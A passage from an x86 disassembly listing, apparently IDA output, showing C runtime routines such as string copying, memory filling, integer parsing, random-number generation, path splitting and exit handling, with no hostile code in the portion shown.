		sub	edx, ecx

loc_41B5B3:				; CODE XREF: sub_41B590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B5B3

loc_41B5B9:				; CODE XREF: sub_41B590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B5D7
		rep stosd
		test	edx, edx
		jz	short loc_41B5DD

loc_41B5D7:				; CODE XREF: sub_41B590+18j
					; sub_41B590+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B5D7

loc_41B5DD:				; CODE XREF: sub_41B590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B5E3:				; CODE XREF: sub_41B590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B5F0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41B673
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B614
		shr	ecx, 2
		jnz	short loc_41B681
		jmp	short loc_41B635
; ---------------------------------------------------------------------------

loc_41B614:				; CODE XREF: sub_41B5F0+1Bj
					; sub_41B5F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B642
		test	al, al
		jz	short loc_41B64A
		test	esi, 3
		jnz	short loc_41B614
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B681

loc_41B630:				; CODE XREF: sub_41B5F0+8Fj
		and	ebx, 3
		jz	short loc_41B642

loc_41B635:				; CODE XREF: sub_41B5F0+22j
					; sub_41B5F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B66E
		dec	ebx
		jnz	short loc_41B635

loc_41B642:				; CODE XREF: sub_41B5F0+2Bj
					; sub_41B5F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B64A:				; CODE XREF: sub_41B5F0+2Fj
		test	edi, 3
		jz	short loc_41B664

loc_41B652:				; CODE XREF: sub_41B5F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B6E6
		test	edi, 3
		jnz	short loc_41B652

loc_41B664:				; CODE XREF: sub_41B5F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B6D7

loc_41B66B:				; CODE XREF: sub_41B5F0+7Fj
					; sub_41B5F0+F4j
		mov	[edi], al
		inc	edi

loc_41B66E:				; CODE XREF: sub_41B5F0+4Dj
		dec	ebx
		jnz	short loc_41B66B
		pop	ebx
		pop	esi

loc_41B673:				; CODE XREF: sub_41B5F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B679:				; CODE XREF: sub_41B5F0+A9j
					; sub_41B5F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B630

loc_41B681:				; CODE XREF: sub_41B5F0+20j
					; sub_41B5F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B679
		test	dl, dl
		jz	short loc_41B6CB
		test	dh, dh
		jz	short loc_41B6C1
		test	edx, 0FF0000h
		jz	short loc_41B6B7
		test	edx, 0FF000000h
		jnz	short loc_41B679
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6B7:				; CODE XREF: sub_41B5F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6C1:				; CODE XREF: sub_41B5F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------

loc_41B6CB:				; CODE XREF: sub_41B5F0+ADj
		xor	edx, edx
		mov	[edi], edx

loc_41B6CF:				; CODE XREF: sub_41B5F0+C5j
					; sub_41B5F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B6E1

loc_41B6D7:				; CODE XREF: sub_41B5F0+79j
		xor	eax, eax

loc_41B6D9:				; CODE XREF: sub_41B5F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B6D9

loc_41B6E1:				; CODE XREF: sub_41B5F0+E5j
		and	ebx, 3
		jnz	short loc_41B66B

loc_41B6E6:				; CODE XREF: sub_41B5F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B5F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EE	proc near		; CODE XREF: sub_41B779+4p
					; sub_4247EC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]

loc_41B6F6:				; CODE XREF: sub_41B6EE+34j
		cmp	dword_43C504, 1
		jle	short loc_41B70E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B71D
; ---------------------------------------------------------------------------

loc_41B70E:				; CODE XREF: sub_41B6EE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41B71D:				; CODE XREF: sub_41B6EE+1Ej
		test	eax, eax
		jz	short loc_41B724
		inc	edi
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------

loc_41B724:				; CODE XREF: sub_41B6EE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B734
		cmp	esi, 2Bh
		jnz	short loc_41B738

loc_41B734:				; CODE XREF: sub_41B6EE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi

loc_41B738:				; CODE XREF: sub_41B6EE+44j
		xor	ebx, ebx

loc_41B73A:				; CODE XREF: sub_41B6EE+7Bj
		cmp	dword_43C504, 1
		jle	short loc_41B74F
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------

loc_41B74F:				; CODE XREF: sub_41B6EE+53j
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41B75A:				; CODE XREF: sub_41B6EE+5Fj
		test	eax, eax
		jz	short loc_41B76B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B73A
; ---------------------------------------------------------------------------

loc_41B76B:				; CODE XREF: sub_41B6EE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B774
		neg	eax

loc_41B774:				; CODE XREF: sub_41B6EE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+733p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B6EE
		pop	ecx
		retn
sub_41B779	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43A29C
		test	eax, eax
		jz	short loc_41B78F
		call	eax ; sub_41C748

loc_41B78F:				; CODE XREF: ___:0041B78Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41B86C
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41B86C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41B7D3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B7C2	proc near		; CODE XREF: sub_41DA29+1Cp
					; sub_42255C+2276p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D3	proc near		; CODE XREF: ___:0041B7B9p
					; sub_41B7C2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DB2C0, edi
		jnz	short loc_41B7F0
		push	[esp+4+arg_0]
		call	near ptr 27106DBh
		nop
		push	eax
		nop
		call	near ptr 2700BE0h

loc_41B7F0:				; CODE XREF: sub_41B7D3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DB2BC, edi
		mov	byte_4DB2B8, bl
		jnz	short loc_41B844
		mov	eax, dword_4DC91C
		test	eax, eax
		jz	short loc_41B833
		mov	ecx, dword_4DC918
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41B832

loc_41B81F:				; CODE XREF: sub_41B7D3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B827
		call	eax

loc_41B827:				; CODE XREF: sub_41B7D3+50j
		sub	esi, 4
		cmp	esi, dword_4DC91C
		jnb	short loc_41B81F

loc_41B832:				; CODE XREF: sub_41B7D3+4Aj
		pop	esi

loc_41B833:				; CODE XREF: sub_41B7D3+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41B86C
		pop	ecx
		pop	ecx

loc_41B844:				; CODE XREF: sub_41B7D3+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41B86C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41B86A
		push	[esp+4+arg_0]
		mov	dword_4DB2C0, edi
		call	near ptr 77E75CB5h
		nop

loc_41B86A:				; CODE XREF: sub_41B7D3+85j
		pop	edi
		retn
sub_41B7D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B86C	proc near		; CODE XREF: ___:0041B799p
					; ___:0041B7A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]

loc_41B871:				; CODE XREF: sub_41B86C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41B884
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B87F
		call	eax

loc_41B87F:				; CODE XREF: sub_41B86C+Fj
		add	esi, 4
		jmp	short loc_41B871
; ---------------------------------------------------------------------------

loc_41B884:				; CODE XREF: sub_41B86C+9j
		pop	esi
		retn
sub_41B86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B886	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B8C6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------

loc_41B8C6:				; CODE XREF: sub_41B886+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41B8D3:				; CODE XREF: sub_41B886+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+31A2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A280, eax
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8E2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43A280
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43A280, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41B8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B97A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B967

loc_41B918:				; CODE XREF: sub_41B900+52j
					; sub_41B900+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jz	short loc_41B934

loc_41B929:				; CODE XREF: sub_41B900+32j
		mov	al, [esi]
		inc	esi

loc_41B92C:				; CODE XREF: sub_41B900+3Fj
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jnz	short loc_41B929

loc_41B934:				; CODE XREF: sub_41B900+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41B93A:				; CODE XREF: sub_41B900+23j
					; sub_41B900+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B92C
		lea	edi, [esi-1]

loc_41B944:				; CODE XREF: sub_41B900+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B973
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B918
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B973
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B944
		jmp	short loc_41B918
; ---------------------------------------------------------------------------

loc_41B967:				; CODE XREF: sub_41B900+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41BFB6
; ---------------------------------------------------------------------------

loc_41B973:				; CODE XREF: sub_41B900+49j
					; sub_41B900+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41B97A:				; CODE XREF: sub_41B900+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B980	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C72p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B9BF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B9CC
; ---------------------------------------------------------------------------

loc_41B9BF:				; CODE XREF: sub_41B980+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41B9CC:				; CODE XREF: sub_41B980+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+21D1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41AFE0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BA0C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BA0C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BA08
		push	2
		push	ebx
		push	esi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+2], 0

loc_41BA08:				; CODE XREF: sub_41B9D1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BA16
; ---------------------------------------------------------------------------

loc_41BA0C:				; CODE XREF: sub_41B9D1+18j
					; sub_41B9D1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BA16
		and	byte ptr [eax],	0

loc_41BA16:				; CODE XREF: sub_41B9D1+39j
					; sub_41B9D1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BA8E

loc_41BA29:				; CODE XREF: sub_41B9D1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DC7E1[edx], 4
		jz	short loc_41BA3A
		inc	eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------

loc_41BA3A:				; CODE XREF: sub_41B9D1+64j
		cmp	cl, 2Fh
		jz	short loc_41BA4E
		cmp	cl, 5Ch
		jz	short loc_41BA4E
		cmp	cl, 2Eh
		jnz	short loc_41BA54
		mov	[ebp+var_4], eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------

loc_41BA4E:				; CODE XREF: sub_41B9D1+6Cj
					; sub_41B9D1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx

loc_41BA54:				; CODE XREF: sub_41B9D1+67j
					; sub_41B9D1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BA29
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BA8E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BA89
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BA72
		mov	edi, esi

loc_41BA72:				; CODE XREF: sub_41B9D1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420289
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_41BA89:				; CODE XREF: sub_41B9D1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BA98
; ---------------------------------------------------------------------------

loc_41BA8E:				; CODE XREF: sub_41B9D1+56j
					; sub_41B9D1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BA98
		and	byte ptr [ecx],	0

loc_41BA98:				; CODE XREF: sub_41B9D1+BBj
					; sub_41B9D1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BAEB
		cmp	edi, ebx
		jb	short loc_41BAEB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BAC8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BAB1
		mov	edi, esi

loc_41BAB1:				; CODE XREF: sub_41B9D1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420289
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]

loc_41BAC8:				; CODE XREF: sub_41B9D1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BB13
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BAD8
		mov	esi, eax

loc_41BAD8:				; CODE XREF: sub_41B9D1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BB13
; ---------------------------------------------------------------------------

loc_41BAEB:				; CODE XREF: sub_41B9D1+CCj
					; sub_41B9D1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BB09
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BAFA
		mov	esi, eax

loc_41BAFA:				; CODE XREF: sub_41B9D1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0

loc_41BB09:				; CODE XREF: sub_41B9D1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BB13
		and	byte ptr [eax],	0

loc_41BB13:				; CODE XREF: sub_41B9D1+FCj
					; sub_41B9D1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BB20	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BB40

loc_41BB2C:				; CODE XREF: sub_41BB20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BB2C

loc_41BB40:				; CODE XREF: sub_41BB20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4F	proc near		; CODE XREF: sub_401ACD+757Ep
					; sub_401ACD+75ADp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BB63
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------

loc_41BB63:				; CODE XREF: sub_41BB4F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BB93
		mov	esi, [ebp+arg_8]

loc_41BB6C:				; CODE XREF: sub_41BB4F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BB7B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BB82
; ---------------------------------------------------------------------------

loc_41BB7B:				; CODE XREF: sub_41BB4F+20j
		push	esi
		call	sub_41F043
		pop	ecx

loc_41BB82:				; CODE XREF: sub_41BB4F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB9D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BB93
		dec	[ebp+arg_4]
		jnz	short loc_41BB6C

loc_41BB93:				; CODE XREF: sub_41BB4F+18j
					; sub_41BB4F+3Dj ...
		and	byte ptr [edi],	0

loc_41BB96:				; CODE XREF: sub_41BB4F+55j
		mov	eax, ebx
		pop	esi

loc_41BB99:				; CODE XREF: sub_41BB4F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41BB9D:				; CODE XREF: sub_41BB4F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BB93
		xor	ebx, ebx
		jmp	short loc_41BB96
sub_41BB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA6	proc near		; CODE XREF: ___:0041DDA5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBBD	proc near		; CODE XREF: sub_41BBA6+Ep
					; sub_41BDC5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi

loc_41BBD5:				; CODE XREF: sub_41BBBD+46j
		cmp	dword_43C504, 1
		jle	short loc_41BBED
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BBFC
; ---------------------------------------------------------------------------

loc_41BBED:				; CODE XREF: sub_41BBBD+1Fj
		mov	ecx, off_43C2F8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41BBFC:				; CODE XREF: sub_41BBBD+2Ej
		test	eax, eax
		jz	short loc_41BC05
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------

loc_41BC05:				; CODE XREF: sub_41BBBD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BC13
		or	[ebp+arg_C], 2
		jmp	short loc_41BC18
; ---------------------------------------------------------------------------

loc_41BC13:				; CODE XREF: sub_41BBBD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BC1E

loc_41BC18:				; CODE XREF: sub_41BBBD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi

loc_41BC1E:				; CODE XREF: sub_41BBBD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BDB5
		cmp	eax, 1
		jz	loc_41BDB5
		cmp	eax, 24h
		jg	loc_41BDB5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC66
		cmp	bl, 30h
		jz	short loc_41BC50
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------

loc_41BC50:				; CODE XREF: sub_41BBBD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC63
		cmp	al, 58h
		jz	short loc_41BC63
		mov	[ebp+arg_8], 8
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------

loc_41BC63:				; CODE XREF: sub_41BBBD+97j
					; sub_41BBBD+9Bj
		mov	[ebp+arg_8], ecx

loc_41BC66:				; CODE XREF: sub_41BBBD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BC82
		cmp	bl, 30h
		jnz	short loc_41BC82
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC7A
		cmp	al, 58h
		jnz	short loc_41BC82

loc_41BC7A:				; CODE XREF: sub_41BBBD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi

loc_41BC82:				; CODE XREF: sub_41BBBD+91j
					; sub_41BBBD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax

loc_41BC92:				; CODE XREF: sub_41BBBD+16Cj
		cmp	dword_43C504, 1
		movzx	esi, bl
		jle	short loc_41BCAA
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCB5
; ---------------------------------------------------------------------------

loc_41BCAA:				; CODE XREF: sub_41BBBD+DFj
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41BCB5:				; CODE XREF: sub_41BBBD+EBj
		test	eax, eax
		jz	short loc_41BCC1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BCF3
; ---------------------------------------------------------------------------

loc_41BCC1:				; CODE XREF: sub_41BBBD+FAj
		cmp	dword_43C504, 1
		jle	short loc_41BCD5
		push	edi
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCE0
; ---------------------------------------------------------------------------

loc_41BCD5:				; CODE XREF: sub_41BBBD+10Bj
		mov	eax, off_43C2F8
		mov	ax, [eax+esi*2]
		and	eax, edi

loc_41BCE0:				; CODE XREF: sub_41BBBD+116j
		test	eax, eax
		jz	short loc_41BD2E
		movsx	eax, bl
		push	eax
		call	sub_420313
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h

loc_41BCF3:				; CODE XREF: sub_41BBBD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BD2E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41BD18
		jnz	short loc_41BD12
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BD18

loc_41BD12:				; CODE XREF: sub_41BBBD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41BD21
; ---------------------------------------------------------------------------

